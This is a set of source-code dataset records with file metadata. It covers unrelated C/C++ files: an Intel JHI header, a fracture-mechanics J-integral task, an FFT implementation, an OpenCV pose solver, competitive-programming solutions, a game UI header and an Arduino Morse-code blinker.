2019-09-10T08:36:51
2019-09-10T08:36:51
207,506,697
0
0
Apache-2.0
2019-09-10T08:36:19
2019-09-10T08:36:19
null
UTF-8
C++
false
false
1,447
h
/* Copyright 2010-2016 Intel Corporation This software is licensed to you in accordance with the agreement between you and Intel Corporation. Alternatively, you can use this file in compliance with the Apache license, Version 2. Apache License, Version 2.0 Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ /** ******************************************************************************** ** ** @file JHIMain.h ** ** @brief Contains JHI main entry ** ** @author Elad Dabool ** ******************************************************************************** */ #ifndef _JHIMAIN_H_ #define _JHIMAIN_H_ #ifdef _WIN32 #include <Windows.h> #endif namespace intel_dal { bool jhi_init(); void jhi_start(); void jhi_stop(); int jhi_main(); void jhi_invoke_reset(); #ifdef _WIN32 static HANDLE jhi_main_thread_handle; #endif } #endif
[ "haim.mousan@intel.com" ]
haim.mousan@intel.com
7f07ea4dbe5f1ddaf8bbc0b7675926bc41e0e242
9889e7fd73314382fb2f9e8f63d92cf3254b75fb
/ThirdParty/NairnMPMFEA/NairnMPM/src/Custom_Tasks/CalcJKTask.cpp
eb3f21f48a7c438f35924f9e2941f20dd5a9b966
[]
no_license
bbanerjee/ParSim
0b05f43cff8e878658dc179b4a604eabd873f594
87f87816b146f40013a5e6648dfe20f6d2d002bb
refs/heads/master
2023-04-27T11:30:36.252023
2023-04-13T22:04:50
2023-04-13T22:04:50
13,608,512
16
3
null
null
null
null
UTF-8
C++
false
false
6,832
cpp
/******************************************************************************** CalcJKTask.cpp nairn-mpm-fea Created by John Nairn on Fri Aug 15 2003. Copyright (c) 2003 John A. Nairn, All rights reserved. ********************************************************************************/ #include "Custom_Tasks/CalcJKTask.hpp" #include "System/ArchiveData.hpp" #include "Nodes/NodalPoint.hpp" #include "Materials/MaterialBase.hpp" #include "NairnMPM_Class/NairnMPM.hpp" #include "MPM_Classes/MPMBase.hpp" #include "Cracks/CrackHeader.hpp" #include "Cracks/CrackSegment.hpp" #include "Elements/ElementBase.hpp" #include "Patches/GridPatch.hpp" #include "NairnMPM_Class/MPMTask.hpp" // Global CalcJKTask *theJKTask=NULL; #pragma mark INITIALIZE // Constructors CalcJKTask::CalcJKTask() { theJKTask=this; // allocate J integral data on each particle int p; for(p=0;p<nmpmsNR;p++) mpm[p]->AllocateJStructures(); } // Return name of this task const char *CalcJKTask::TaskName(void) { return "Calculate J and K Task"; } #pragma mark GENERIC TASK METHODS // called once at start of MPM analysis - initialize and print info CustomTask *CalcJKTask::Initialize(void) { cout << "J Integral and Stress Intensity calculation activated." << endl; cout << " Rectangular contour 2*(" << JGridSize << "X" << JGridSize << ") elements" << endl; if(JTerms<0) JTerms = fmobj->IsAxisymmetric() ? 2 : 1 ; switch(JTerms) { case 1: cout << " Contour integral only"; break; case 2: cout << " Contour and volume integrals"; break; default: cout << " Unknown option, will use contour integral only"; JTerms=1; break; } cout << endl; return nextTask; } // called when MPM step is getting ready to do custom tasks // has its own extrapolations for speed CustomTask *CalcJKTask::PrepareForStep(bool &needExtraps) { getJKThisStep=archiver->WillArchiveJK(TRUE); return nextTask; } // Called when custom tasks are all done on a step CustomTask *CalcJKTask::FinishForStep(void) { // skip if not done if(!getJKThisStep) return nextTask; // finished with strain fields int i; for(i=1;i<=nnodes;i++) nd[i]->DeleteDisp(); int totalPatches = fmobj->GetTotalNumberOfPatches(); if(totalPatches>1) { for(i=0;i<totalPatches;i++) patches[i]->DeleteDisp(); } return nextTask; } // Calculate J and K at crack tips CustomTask *CalcJKTask::StepCalculation(void) { // skip if not needed if(!getJKThisStep) return nextTask; int nds[maxShapeNodes]; double fn[maxShapeNodes]; //double xDeriv[maxShapeNodes],yDeriv[maxShapeNodes],zDeriv[maxShapeNodes]; // set up strain fields for crack extrapolations //#pragma omp parallel private(nds,fn,xDeriv,yDeriv,zDeriv) #pragma omp parallel private(nds,fn) { // in case 2D planar //for(int i=0;i<maxShapeNodes;i++) zDeriv[i] = 0.; #pragma omp for for(int i=1;i<=nnodes;i++) nd[i]->ZeroDisp(); // zero displacement fields on ghost nodes int pn = MPMTask::GetPatchNumber(); patches[pn]->ZeroDisp(); // loop over only non-rigid particles in patch MPMBase *mpnt = patches[pn]->GetFirstBlockPointer(FIRST_NONRIGID); while(mpnt!=NULL) { // material reference const MaterialBase *matref = theMaterials[mpnt->MatID()]; // find shape functions and derviatives int numnds; const ElementBase *elref = theElements[mpnt->ElemID()]; //elref->GetShapeGradients(&numnds,fn,nds,xDeriv,yDeriv,zDeriv,mpnt); elref->GetShapeFunctions(&numnds,fn,nds,mpnt); // Add particle property to each node in the element NodalPoint *ndmi; short vfld; double fnmp; for(int i=1;i<=numnds;i++) { // global mass matrix vfld=(short)mpnt->vfld[i]; // velocity field to use fnmp=fn[i]*mpnt->mp; // get node pointer ndmi = MPMTask::GetNodePointer(pn,nds[i]); // get 2D gradient terms (dimensionless) and track material (if needed) int activeMatField = matref->GetActiveField(); ndmi->AddUGradient(vfld,fnmp,mpnt->GetDuDx(),mpnt->GetDuDy(),mpnt->GetDvDx(),mpnt->GetDvDy(),activeMatField,mpnt->mp); // get a nodal stress (rho*stress has units N/m^2) fnmp *= matref->rho; Tensor sp = mpnt->ReadStressTensor(); ndmi->AddStress(vfld,fnmp,&sp); // get energy and rho*energy has units J/m^3 = N/m^2 // In axisymmetric, energy density is 2 pi m U/(2 pi rp Ap), but since m = rho rp Ap // energy density it still rho*energy ndmi->AddEnergy(vfld,fnmp,mpnt->vel.x,mpnt->vel.y,mpnt->GetWorkEnergy()); } // next non-rigid material point mpnt = (MPMBase *)mpnt->GetNextObject(); } } // copy ghost to real nodes int totalPatches = fmobj->GetTotalNumberOfPatches(); if(totalPatches>1) { for(int j=0;j<totalPatches;j++) patches[j]->JKTaskReduction(); } // finish strain fields #pragma omp parallel for for(int i=1;i<=nnodes;i++) nd[i]->CalcStrainField(); // No Do the J Integral calculations int inMat; Vector d,C; CrackSegment *crkTip; CrackHeader *nextCrack=firstCrack; while(nextCrack!=NULL) { nextCrack->JIntegral(); // crack-axis components of J-integral // if material known, find KI and KII for crack tips if(getJKThisStep & NEED_K) { for(int i=START_OF_CRACK;i<=END_OF_CRACK;i++) { crkTip=nextCrack->GetCrackTip(i); inMat=crkTip->tipMatnum; if(inMat>0) { //C=crkTip->C; // will be crack segment property C.x=0.0; C.y=0.0; ; C.z=0.; // find normal and shear COD nextCrack->GetCOD(crkTip,d,true); d.z=0.; // convert to K crkTip->sif=theMaterials[inMat-1]->ConvertJToK(d,C,crkTip->Jint,fmobj->np); } else { crkTip->sif.x=0; crkTip->sif.y=0; } } } // next crack nextCrack=(CrackHeader *)nextCrack->GetNextObject(); } return nextTask; } #pragma mark CalcJKTask METHODS // Another task can invoke J and K if needed // use FALSE, NEED_J, NEED_JANDK, or NEED_J+NEED_K (NEED_K alone no good) void CalcJKTask::ScheduleJK(int newNeed) { getJKThisStep|=newNeed; }
[ "b.banerjee.nz@gmail.com" ]
b.banerjee.nz@gmail.com
66ce34c4d0fff3a6f49d09a7815e23b849c81e1d
7d7252efbe0e323907775e56480d779a6199992d
/EndtermImageProcessing/FourierTransform.cpp
a77b8abf43a1754a185d1f97cd20694b7f36d82e
[]
no_license
auduongtansang/EndtermImageProcessing
fc23c03c5ad638f93f7bcce9dbfb763fee07f603
25a1b2656299edc5274271de79eb43375b20377f
refs/heads/master
2020-09-21T18:15:45.806966
2019-12-13T06:23:06
2019-12-13T06:23:06
224,878,827
0
0
null
null
null
null
UTF-8
C++
false
false
4,414
cpp
#include "FourierTransform.h" FourierTransform::FourierTransform() { } FourierTransform::~FourierTransform() { } complex<double>* FourierTransform::FFT(complex<double> *signal, int cols, Direction direction) { /* Trong biến đổi Fourier rời rạc, có: F[k] = sum(X[i] * exp(-j * 2 * pi * k * i / n)) (với X là tín hiệu rời rạc có n mẫu, j là đơn vị ảo, 0 <= i, k <= n) Chứng minh được: F[k] = sum(X[u] * exp(-j * 2 * pi * k * u / m)) + exp(-j * 2 * pi * k / n) * sum(X[v] * exp(-j * 2 * pi * k * v / m)) (với m = n / 2, u là số chẵn, v là số lẻ, 0 <= u, v, k <= n) Do đó: F[k] = F_của_các_mẫu_tại_vị_trí_chẵn[k] + hệ số * F_của_các_mẫu_tại_vị_trí_lẻ[k] => Gọi đệ quy để tính toán. Hơn nữa, với tín hiệu có n mẫu, miền tần số sẽ lặp lại sau mỗi n / 2 mẫu. Tương tự cho phép biến đổi nghịch. */ //Nếu số mẫu là 1, không cần biến đổi if (cols == 1) return signal; /* Chia đôi tín hiệu gốc thành 2 tín hiệu nhỏ hơn: - signalEven: chứa các mẫu tại vị trí chẵn của tín hiệu gốc - signalOdd: chứa các mẫu tại vị trí lẻ của tín hiệu gốc */ int half = cols / 2; complex<double> *signalEven = new complex<double>[half]; complex<double> *signalOdd = new complex<double>[half]; for (int i = 0; i < half; i++) { signalEven[i] = signal[2 * i]; signalOdd[i] = signal[2 * i + 1]; } //Gọi đệ quy biến đổi Fourier trên 2 tín hiệu này complex<double> *freqEven = FFT(signalEven, half, direction); complex<double> *freqOdd = FFT(signalOdd, half, direction); //Tính toán kết quả theo công thức đã chứng minh complex<double> *freqFinal = new complex<double>[cols]; if (direction == Direction::Forward) { //Biến đổi thuận for (int k = 0; k < half; k++) { //Số hạng bên phải của công thức = hệ số * F_của_các_mẫu_tại_vị_trí_lẻ complex<double> rightArg = polar(1.0, -2.0 * M_PI * k / cols) * freqOdd[k]; /* F[k] = F_của_các_mẫu_tại_vị_trí_chẵn[k] + hệ số * F_của_các_mẫu_tại_vị_trí_lẻ[k] Miền tần số lặp lại nhưng nghịch dấu ở các mẫu tại vị trí lẻ */ freqFinal[k] = freqEven[k] + rightArg; freqFinal[k + half] = freqEven[k] - rightArg; } } else { //Biến đổi ngược for (int k = 0; k < half; k++) { //Số hạng bên phải của công thức = hệ số * X_của_các_tần_số_tại_vị_trí_lẻ complex<double> rightArg = polar(1.0, 2.0 * M_PI * k / cols) * freqOdd[k]; /* X[k] = X_của_các_tần_số_tại_vị_trí_chẵn[k] + hệ số * X_của_các_tần_số_tại_vị_trí_lẻ[k] Miền không gian cũng lặp lại nhưng nghịch dấu ở các tần số tại vị trí lẻ */ freqFinal[k] = freqEven[k] + rightArg; freqFinal[k + half] = freqEven[k] - rightArg; } } delete[] signalEven; delete[] signalOdd; return freqFinal; } complex<double>* FourierTransform::FFT2(complex<double> *signal, int rows, int cols, Direction direction) { /* Biến đổi Fourier rời rạc cho tín hiệu 2D Biến đổi từng dòng, sau đó biến đổi từng cột */ complex<double> *freq = new complex<double>[rows * cols]; //Biến đổi dòng for (int i = 0; i < rows; i++) { //Lấy dòng thứ i complex<double> *freqRow = new complex<double>[cols]; memcpy(freqRow, signal + i * cols, cols * sizeof(complex<double>)); //Biến đổi và gán vào kết quả freqRow = FFT(freqRow, cols, direction); memcpy(freq + i * cols, freqRow, cols * sizeof(complex<double>)); delete[] freqRow; } //Biến đổi cột for (int i = 0; i < cols; i++) { //Lấy cột thứ i complex<double> *freqCol = new complex<double>[rows]; for (int j = 0; j < rows; j++) freqCol[j] = freq[j * cols + i]; //Biến đổi freqCol = FFT(freqCol, rows, direction); //Gán vào kết quả for (int j = 0; j < rows; j++) freq[j * cols + i] = freqCol[j]; delete[] freqCol; } //Nếu là biến đổi nghịch, chia tất cả cho tổng số mẫu if (direction == Direction::Backward) { for (int i = 0; i < rows; i++) for (int j = 0; j < cols; j++) freq[i * cols + j] *= 1.0 / (rows * cols); } return freq; }
[ "1712145@student.hcmus.edu.vn" ]
1712145@student.hcmus.edu.vn
24a245b6acb833b393e8b8295072487f4b148349
b521a466f69148e4a45715286deb903218f3e40b
/markers/solver.cpp
3f7bc504168bb96c094a288ba6bb5d24dcb0593f
[]
no_license
vas0x59/custom_map_reg
7219fbcf42b4922c75a64ad89b381940ba5aa19b
a357925498270d0d17320522da536c53e8cc7be5
refs/heads/master
2022-02-21T08:21:12.561357
2019-07-04T15:32:34
2019-07-04T15:32:34
null
0
0
null
null
null
null
UTF-8
C++
false
false
4,349
cpp
// #include <iostream> // #include <vector> // #include "opencv2/opencv.hpp" // // #include "opencv2/imgproc.hpp" // #include "opencv2/ximgproc.hpp" // #include <opencv2/aruco.hpp> // #include "math.h" // #include "markers.h" #include "solver.h" using namespace cv; using namespace std; Solver::Solver() { _R_flip = R_flip_gen(1, -1, -1); } // Solver::Solver(Mat r_flip) { // _R_flip = r_flip; // } void Solver::set_camera_conf(Mat cameraMatrix, Mat distCoeffs){ _cameraMatrix = cameraMatrix; _distCoeffs = distCoeffs; } void Solver::load_camera_conf(String path){ FileStorage fs2(path, FileStorage::READ); // FileStorage fs3(); Mat cameraMatrix, distCoeffs; fs2["camera_matrix"] >> _cameraMatrix; fs2["distortion_coefficients"] >> _distCoeffs; // Mat(cameraMatrix).convertTo(_cameraMatrix, CV_64F); // Mat(distCoeffs).convertTo(_distCoeffs, CV_64F); fs2.release(); // return false; } bool Solver::solve(Mat objPoints, Mat imgPoints, Pose &pose, bool useExtrinsicGuess){ // std::cout << "cam mat: " << _cameraMatrix << " dist coeff" << _cameraMatrix << "\n"; if (objPoints.total() == 0) // 0 of the detected markers in board return false; // std::cout << "objPoints: " << objPoints << std::endl; // std::cout << "imgPoints: " << imgPoints << std::endl; // Mat _tvec; // Mat _rvec; cv::Vec3d _tvec, _rvec; solvePnP(objPoints, imgPoints, _cameraMatrix, _distCoeffs, _rvec, _tvec, useExtrinsicGuess); if (((int)objPoints.total() / 4) > 0){ // aruco::drawAxis(image, _cameraMatrix, _distCoeffs, _rvec, // _tvec, 0.2); Mat pos_camera = Mat(3, 3, CV_64F, cvScalar(0.)); Mat R_ct, R_tc; cv::Rodrigues(_rvec, R_ct); R_tc = R_ct.t(); // double roll_marker, pitch_marker, yaw_marker; // Point3d marker_angles; pose.rotation = rotationMatrixToEAngles(_R_flip * R_tc); // roll_marker = marker_angles.x; // pitch_marker = marker_angles.y; // yaw_marker = marker_angles.z; // cout << "tvec" << _tvec << "\n"; // cout << "marker_angles_raw roll:" << roll_marker << " pitch:" << pitch_marker << " yaw:" << yaw_marker << endl; Mat tvec_mat = Mat(_tvec); R_tc = -R_tc; pos_camera = R_tc * tvec_mat; pose.pose.x = pos_camera.at<double>(0, 0); pose.pose.y = pos_camera.at<double>(0, 1); pose.pose.z = pos_camera.at<double>(0, 2); return true; } else{ return false; } // divide by four since all the four corners are concatenated in the array for each marker } bool Solver::solve(Mat objPoints, Mat imgPoints, Pose &pose, Mat &image, bool useExtrinsicGuess){ // std::cout << "cam mat: " << _cameraMatrix << " dist coeff" << _cameraMatrix << "\n"; if (objPoints.total() == 0) // 0 of the detected markers in board return false; // std::cout << "objPoints: " << objPoints << std::endl; // std::cout << "imgPoints: " << imgPoints << std::endl; // Mat _tvec; // Mat _rvec; cv::Vec3d _tvec, _rvec; solvePnP(objPoints, imgPoints, _cameraMatrix, _distCoeffs, _rvec, _tvec, useExtrinsicGuess); if (((int)objPoints.total() / 4) > 0){ aruco::drawAxis(image, _cameraMatrix, _distCoeffs, _rvec, _tvec, 0.2); Mat pos_camera = Mat(3, 3, CV_64F, cvScalar(0.)); Mat R_ct, R_tc; cv::Rodrigues(_rvec, R_ct); R_tc = R_ct.t(); // double roll_marker, pitch_marker, yaw_marker; // Point3d marker_angles; pose.rotation = rotationMatrixToEAngles(_R_flip * R_tc); // roll_marker = marker_angles.x; // pitch_marker = marker_angles.y; // yaw_marker = marker_angles.z; // cout << "tvec" << _tvec << "\n"; // cout << "marker_angles_raw roll:" << roll_marker << " pitch:" << pitch_marker << " yaw:" << yaw_marker << endl; Mat tvec_mat = Mat(_tvec); R_tc = -R_tc; pos_camera = R_tc * tvec_mat; pose.pose.x = pos_camera.at<double>(0, 0); pose.pose.y = pos_camera.at<double>(0, 1); pose.pose.z = pos_camera.at<double>(0, 2); return true; } else{ return false; } // divide by four since all the four corners are concatenated in the array for each marker }
[ "vasily.yuryev.a1@gmail.com" ]
vasily.yuryev.a1@gmail.com
54e4e8a561945c2ce14258adfe8c6e7f2459d00b
38e587a6b575c329531de8c9391d845867fdbc94
/437-Path.Sum.III.cpp
0fcd8232558a552da0eab5b0ef99db5287777518
[]
no_license
suyinlong/leetcode
8844c082aa51cded04057ddbf8ac5d0cbaed719f
9c5d451014ae23cbb5ea335a6ff50684e4b1fb97
refs/heads/master
2021-01-11T17:43:31.922089
2017-03-11T15:42:36
2017-03-11T15:42:36
79,825,384
0
0
null
null
null
null
UTF-8
C++
false
false
968
cpp
/** * Definition for a binary tree node. * struct TreeNode { * int val; * TreeNode *left; * TreeNode *right; * TreeNode(int x) : val(x), left(NULL), right(NULL) {} * }; */ class Solution { public: int pathSum(TreeNode* root, int sum) { unordered_map<int, int> preSum; preSum[0] = 1; int count = 0; pathHelper(root, 0, sum, preSum, count); return count; } private: void pathHelper(TreeNode *root, int current, int sum, unordered_map<int, int> &preSum, int &count) { if (!root) return; current += root->val; if (preSum.find(current - sum) != preSum.end()) count += preSum[current - sum]; if (preSum.find(current) == preSum.end()) preSum[current] = 0; preSum[current]++; pathHelper(root->left, current, sum, preSum, count); pathHelper(root->right, current, sum, preSum, count); preSum[current]--; } };
[ "suyinlong07@gmail.com" ]
suyinlong07@gmail.com
7dbdb426c6a523dedd30bd21f60e67a51b80a3dd
e363b63383c617acc55c5b43bd0fa524d9e64dff
/game/client/swarm/gameui/swarm/vsignindialog.h
e2aa909aa27cba35cd776503ead30ce7bc594fd6
[]
no_license
paralin/hl2sdk-dota
63a17b641e2cc9d6d030df9244c03d60e013737d
e0fe36f0132b36ba9b1ca56aa10f888f66e9b2bf
refs/heads/master
2016-09-09T22:37:57.509357
2014-04-09T13:26:01
2014-04-09T13:26:01
18,719,255
4
2
null
null
null
null
WINDOWS-1252
C++
false
false
1,042
h
//========= Copyright © 1996-2008, Valve Corporation, All rights reserved. ============// // // Purpose: // //=====================================================================================// #ifndef __VSIGNINDIALOG_H__ #define __VSIGNINDIALOG_H__ #include "basemodui.h" namespace BaseModUI { class SignInDialog : public CBaseModFrame { DECLARE_CLASS_SIMPLE( SignInDialog, CBaseModFrame ); public: SignInDialog(vgui::Panel *parent, const char *panelName); ~SignInDialog(); void OnCommand(const char *command); void OnThink(); void OnKeyCodePressed( vgui::KeyCode code ); void LoadLayout(); virtual void PaintBackground(); void ApplySettings( KeyValues * inResourceData ); void ApplySchemeSettings( vgui::IScheme *pScheme ); void SetSignInTitle( const wchar_t* title ); void SetSignInTitle( const char* title ); private: vgui::Panel* NavigateBack( int numSlotsRequested ); private: bool m_bSignedIn; float m_flTimeAutoClose; }; } #endif // __VSIGNINDIALOG_H__
[ "ds@alliedmods.net" ]
ds@alliedmods.net
d953636996e59e2defc9334751b495ea297d4e67
7085181aa985a0c90756345bc3b5af03efca7a77
/File.h
8b8cfb47329cf47de2638273cf039229d091aca1
[]
no_license
javeme/tiny-http-server
3e6abd85c67039b57330eda2b66fcce0390272ee
65e719b125ed23f7e3b79047926ccb9bc26b804d
refs/heads/master
2021-01-17T17:38:57.766650
2016-07-10T12:17:44
2016-07-10T12:17:44
62,997,856
0
0
null
null
null
null
UTF-8
C++
false
false
1,007
h
#ifndef File_H_H #define File_H_H #include <iostream> #include <string> using namespace std; #include "IOException.h" using namespace bluemeiException; namespace bluemeiIO { #define BUFFER_SIZE 1024 class File { public: File(unsigned long bufferSize); //File(string path,string openMode); File(string path="",string openMode="wb+",unsigned long bufferSize=BUFFER_SIZE); ~File(); private: void init(string path,string openMode,unsigned long bufferSize); public: void openFile(string& path,string openMode); virtual void writeBytes(char buf[],int length); virtual void writeLine(string value); virtual void writeInt(int value); virtual int readBytes(char buf[],int length); virtual string readLine(); virtual int readInt(); virtual int getSize(); virtual int readAll(char buf[],int bufSize); virtual void flush(); virtual void close(); private: FILE *m_pFile; unsigned long m_nBufferSize,m_nUsedBufLength; char *buffer; bool m_bCloseAble; }; } #endif
[ "javaloveme@gmail.com" ]
javaloveme@gmail.com
5401f822e663ddc8b59154c143e2cbfd00d195bf
63c71060f36866bca4ac27304cef6d5755fdc35c
/src/JimoLogic/JimoLogicDoc2.cpp
2cd2fc450f726a5bf78c2bf8ba4c72fb8db239cb
[]
no_license
15831944/barry_dev
bc8441cbfbd4b62fbb42bee3dcb79ff7f5fcaf8a
d4a83421458aa28ca293caa7a5567433e9358596
refs/heads/master
2022-03-24T07:00:26.810732
2015-12-22T07:19:58
2015-12-22T07:19:58
null
0
0
null
null
null
null
UTF-8
C++
false
false
4,241
cpp
//////////////////////////////////////////////////////////////////////////// // // Copyright (C) 2005 // Packet Engineering, Inc. All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification is not permitted unless authorized in writing by a duly // appointed officer of Packet Engineering, Inc. or its derivatives // // Description: // // Modification History: // 2015/04/23 Created by Andy //////////////////////////////////////////////////////////////////////////// #include "JimoLogic/JimoLogicDoc2.h" #include "JSON/JSON.h" #include "JimoAPI/JimoParserAPI.h" #include "Rundata/Rundata.h" #include "API/AosApiG.h" AosJLDoc2::AosJLDoc2( const AosRundataPtr &rdata, const string &input_name, const AosXmlTagPtr &table_doc, const string &tablename, const AosJimoProgObjPtr &jimo_prog, const bool prime_table) :AosJimoLogic(1) { aos_assert(table_doc); mTableName = tablename; mInput = input_name; mJimoProg = jimo_prog; mPrime = prime_table; procVirtualField(rdata, table_doc); OmnString record_name; OmnString scheam_doc_objid = table_doc->getAttrStr("zky_use_schema"); AosXmlTagPtr schema_docs = AosGetDocByObjid(scheam_doc_objid, rdata); if (schema_docs) { AosXmlTagPtr records = schema_docs->getFirstChild("datarecords"); if (records) { AosXmlTagPtr record = records->getFirstChild(true); while (record) { record_name = record->getAttrStr("key"); mRecords.push_back(record_name); record = records->getNextChild(); } } else { AosXmlTagPtr record = schema_docs->getFirstChild(true); aos_assert(record); record_name = record->getAttrStr("zky_datarecord_name"); mRecords.push_back(record_name); } } bool rslt = createJsonStr(rdata); if (!rslt) { OmnAlarm << "error ." << enderr; } } bool AosJLDoc2::createJsonStr(const AosRundataPtr &rdata) { OmnString str; for (u32 i = 0; i < mRecords.size(); i++) { str << "dataproc doc " << mTableName; if (mRecords[i] != "") { str << "_" << mRecords[i] << "("; } else { str << "(" ; } // Add fields by Young, 2015/05/14 if (mVirtualFieldsExpr.size()) { JSONValue fieldsJSON; for (size_t j=0; j<mVirtualFieldsExpr.size(); j++) { JSONValue field(mVirtualFieldsExpr[j]); fieldsJSON.append(field); } str << "fields : " << fieldsJSON.toStyledString() << ","; } if (mTableName != "") { str << " table : \"" << mTableName << "\","; } if (mRecords[i] != "") { str << " recordname : \"" << mRecords[i] << "\", "; } str << "inputs : \"" << mInput << "\""; // jimodb-632 str << ", prime : \"" << mPrime << "\""; str << ");"; AosJimoParserObjPtr jimoParser = Jimo::jimoCreateJimoParser(rdata.getPtr()); aos_assert_rr(jimoParser, rdata.getPtr(), 0); vector<AosJqlStatementPtr> statements; AosJimoProgObj *prog = mJimoProg.getPtrNoLock(); jimoParser->parse(rdata.getPtr(),prog, str, statements); OmnString ss; for (u32 i=0; i<statements.size(); i++) { statements[i]->setContentFormat("xml"); statements[i]->run(rdata.getPtrNoLock(), prog, ss, false); } } return true; } AosJLDoc2::AosJLDoc2(int version) :AosJimoLogic(version) { } AosJLDoc2::AosJLDoc2(const AosJLDoc2 &rsh) : AosJimoLogic(rsh.mJimoVersion), mInput(rsh.mInput), mTableName(rsh.mTableName), mJimoProg(rsh.mJimoProg) { mRecords.clear(); mRecords.insert(mRecords.end(), rsh.mRecords.begin(), rsh.mRecords.end()); } AosJLDoc2::~AosJLDoc2() { } AosJimoPtr AosJLDoc2::cloneJimo() const { return OmnNew AosJLDoc2(*this); } bool AosJLDoc2::procVirtualField( const AosRundataPtr &rdata, const AosXmlTagPtr &tabledoc) { // 1. find virtual field AosXmlTagPtr columnsNode = tabledoc->getFirstChild("columns"); aos_assert_r(columnsNode, false); AosXmlTagPtr columnNode = columnsNode->getFirstChild("column"); while (columnNode) { AosXmlTagPtr exprNode = columnNode->getFirstChild("expr"); if (exprNode) { // 2. get virtual field expr OmnString expr = exprNode->getNodeText(); mVirtualFieldsExpr.push_back(expr); } columnNode = columnsNode->getNextChild("column"); } return true; }
[ "barryniu@jimodb.com" ]
barryniu@jimodb.com
3bd18e1687b5c1fb4bf9213d9a34dc1e67f9d67e
9b11f561510070d40be43addeccc743f91025cfa
/atcoder/abc183/C.cpp
8ed41e62766123c0bb923319b1776c258850a10d
[]
no_license
MasterMind90/cppractice
a5a1774fc87047c9c9f18ed6df2a58af4a027256
ce1b74d9e682e5d369df62f3ad9494798dceda85
refs/heads/master
2023-02-21T04:58:50.101142
2019-05-08T14:41:00
2021-01-14T21:11:38
328,998,830
0
0
null
null
null
null
UTF-8
C++
false
false
2,191
cpp
#ifndef LOCAL #pragma GCC optimize("Ofast") #pragma GCC target("avx,avx2,fma") #pragma GCC optimization ("unroll-loops") #endif #include "bits/stdc++.h" #include <ext/pb_ds/assoc_container.hpp> // Common file #include <ext/pb_ds/tree_policy.hpp> // Including tree_order_statistics_node_update #include <ext/pb_ds/detail/standard_policies.hpp> using namespace std; using namespace __gnu_pbds; #define sim template < class c #define int long long #define ris return * this #define dor > debug & operator << #define eni(x) sim > typename \ enable_if<sizeof dud<c>(0) x 1, debug&>::type operator<<(c i) { sim > struct rge { c b, e; }; sim > rge<c> range(c i, c j) { return rge<c>{i, j}; } sim > auto dud(c* x) -> decltype(cerr << *x, 0); sim > char dud(...); struct debug { #ifdef LOCAL ~debug() { cerr << '\n'; } eni(!=) cerr << boolalpha << i; ris; } eni(==) ris << range(begin(i), end(i)); } sim, class b dor(pair < b, c > d) { ris << "(" << d.first << ", " << d.second << ")"; } sim dor(rge<c> d) { *this << "["; for (auto it = d.b; it != d.e; ++it) *this << ", " + 2 * (it == d.b) << *it; ris << "]"; } #else sim dor(const c&) { ris; } #endif }; #define imie(...) " [" << #__VA_ARGS__ ": " << (__VA_ARGS__) << "] " #define fastio ios_base::sync_with_stdio(false);cin.tie(0); typedef tree< pair<int,int>, null_type, less<pair<int,int> >, rb_tree_tag, tree_order_statistics_node_update> ordered_set; typedef long long ll; const ll MOD = 1e9 + 7 ; const ll N = 2e5 + 10 ; const ll INF = 1e18 + 10 ; int n , k ; vector<vector<int> > g ; signed main(){ fastio cin >> n >> k ; g = vector<vector<int> >(n, vector<int>(n)) ; for(int i = 0; i < n; i++){ for(int j = 0; j < n; j++){ cin >> g[i][j] ; } } vector<int> t(n - 1) ; for(int i = 0; i < n - 1; i++){ t[i] = i + 1 ; } debug() << imie(t) ; int ans = 0 ; do{ int cur = 0 ; int last = 0 ; for(int &c : t){ cur += g[last][c] ; last = c ; } cur += g[last][0] ; if ( cur == k ) ans++ ; }while(next_permutation(t.begin(), t.end())) ; cout << ans << endl; return 0; }
[ "amjadm2008@gmail.com" ]
amjadm2008@gmail.com
7d6af25b6d1178461f692e4c8f712c8ef8a6e25b
22dc9c7aa6cebaabc6c6cfac8640b0a75e39877c
/exercise 5/B/B/B/Morse.cpp
7c9aa175548f4245f47da8f57de8213c6253f4f8
[]
no_license
Embedded-Software-kurssi/pusanen
6e18589e7a42fbd370b0280369cfa11dcb8b1615
4e51690d572512c9e21156b98326dcbc78a828e0
refs/heads/master
2021-01-12T14:43:32.871631
2016-12-07T20:08:05
2016-12-07T20:08:05
72,071,235
0
0
null
null
null
null
UTF-8
C++
false
false
1,303
cpp
/* * morse.cpp * * Created: 20.9.2016 12.29.11 * Author: Teemu Pusa, Jarmo Pesonen */ #include <Arduino.h> #include "morse.h" #define BIT5 16 #define BIT4 8 #define BIT3 4 #define BIT2 2 #define BIT1 1 #define LED_PIN 12 char characters[] = { 37, //A 56, //B 58, //C 22, //D 34, //E 50, //F 46, //G 63, //H 36, //I 55, //J 45, //K 52, //L 39, //M 38, //N 47, //O 54, //P 61, //Q 42, //R 40, //S 35, //T 49 //U }; void bitAction(char b) { if (b > 0) { digitalWrite(LED_PIN, HIGH); delay(500); digitalWrite(LED_PIN, LOW); delay(400); } else { digitalWrite(LED_PIN, HIGH); delay(200); digitalWrite(LED_PIN, LOW); delay(400); } } void showText(const char* text) { int len; len = sizeof(text); for (int i = 0; i < len; i++) { char merkki = characters[text[i] - 65]; if (merkki & BIT5) { bitAction(merkki & BIT4); bitAction(merkki & BIT3); bitAction(merkki & BIT2); bitAction(merkki & BIT1); } else if (merkki & BIT4) { bitAction(merkki & BIT3); bitAction(merkki & BIT2); bitAction(merkki & BIT1); } else if (merkki & BIT3) { bitAction(merkki & BIT2); bitAction(merkki & BIT1); } else if (merkki & BIT2) { bitAction(merkki & BIT1); } } }
[ "eikuulu@sulle.t" ]
eikuulu@sulle.t
e50b74a75f1cf2407e504c384377653fae7292b5
174d618939a1218b18d87bffa1f139e98b40cae7
/src/tree/src/include/LinkDef.hh
e78368687a152ecf86aa551e56c41b8ffd2bd32b
[]
no_license
bishoyDHD/museMiniCkr
5188183af70a67f75bc48802a3d7d2607e20b7b4
d40f3978376bb760d80edb23249ca9e124a4efb3
refs/heads/master
2020-07-24T12:10:08.697014
2019-09-13T19:15:38
2019-09-13T19:15:38
207,921,163
0
0
null
null
null
null
UTF-8
C++
false
false
3,667
hh
